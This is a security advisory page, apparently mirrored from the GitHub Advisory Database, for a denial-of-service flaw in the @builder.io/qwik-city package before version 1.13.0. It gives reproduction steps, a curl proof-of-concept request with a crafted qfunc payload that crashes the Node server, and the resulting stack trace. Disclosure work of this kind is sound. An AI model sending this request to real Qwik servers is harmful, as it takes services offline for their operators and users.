Qwik's unhandled exception vulnerabilty can cause server crashes from malicious requests
Summary
Possibility to craft a request that will crash the Qwik Server in the default configuration.
Details
When a Qwik Server Action QRL is executed it dynamically load the file containing the symbol. When an invalid qfunc is sent, the server does not handle the thrown error. The error then causes Node JS to exit.
PoC
- Setup a Qwik Project
pnpm create qwik@latest - Start the Qwik Server using
pnpm run preview - Execute the following curl command to crash the instance
curl --location 'http://localhost:4173/?qfunc=PPXYallGsCE' \
--header 'Content-Type: application/qwik-json' \
--header 'X-Qrl: PPXYallGsCE' \
--data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0","1"]]}'Here the qfunc query parameter, X-Qrl header and payload need to have the same qrl.
The Qwik Server will then crash with the message
qrl s_PPXYallGsCE failed to load Error: Dynamic require of "_.js" is not supported
at file:///home/michele/Code/qwik/server/entry.preview.js:32:199
at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)
at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)
at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)
at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311
at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)
at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000)
at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559)
node:internal/process/promises:289
triggerUncaughtException(err, true /* fromPromise */);
^
Error: Dynamic require of "_.js" is not supported
at file:///home/michele/Code/qwik/server/entry.preview.js:32:199
at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)
at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)
at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)
at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311
at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)
at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000)
at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559)
Node.js v21.7.2The same can also be repeated running Qwik in production using express.
- Setup a Qwik Project
pnpm create qwik@latest - Install the express middleware
pnpm run qwik add express - Build the qwik app using
pnpm run build - Start the server using
pnpm run serve - Execute the following curl command to crash the instance
curl --location 'http://localhost:3000/?qfunc=PPXYallGsCE' \
--header 'Content-Type: application/qwik-json' \
--header 'X-Qrl: PPXYallGsCE' \
--data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0","1"]]}'Impact
Any Qwik Server instance running the default configuration can be crashed. Using a simple loop to send this HTTP request will cause permanent down time of the service as it takes a few seconds for an instance to restart.
There is also the issue that this can happen without a malicious attacker. When a Qwik Application is deployed through a CDN and an old instance is still loaded on some Client, like through an inactive Tab. Once that user returns to the old Version and performs an action that runs a removed qfunc the server will crash.
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | @builder.io/qwik-city | < 1.13.0 | 1.13.0 |
Referencias
- Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H- Debilidad (CWE)
CWE-248- Plataforma
- npm
- Paquete
@builder.io/qwik-city- Publicada
- 09.07.2025
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-qr9h-j6xg-2j72 - CC BY 4.0
Historial de vulnerabilidades: @builder.io/qwik-city
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 8
- Primera → última
- 04.2023 03.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 2
- Alta 1
- Media 4
- Baja 1
Divulgaciones por año
- 2023: 1
- 2024: 0
- 2025: 1
- 2026: 6
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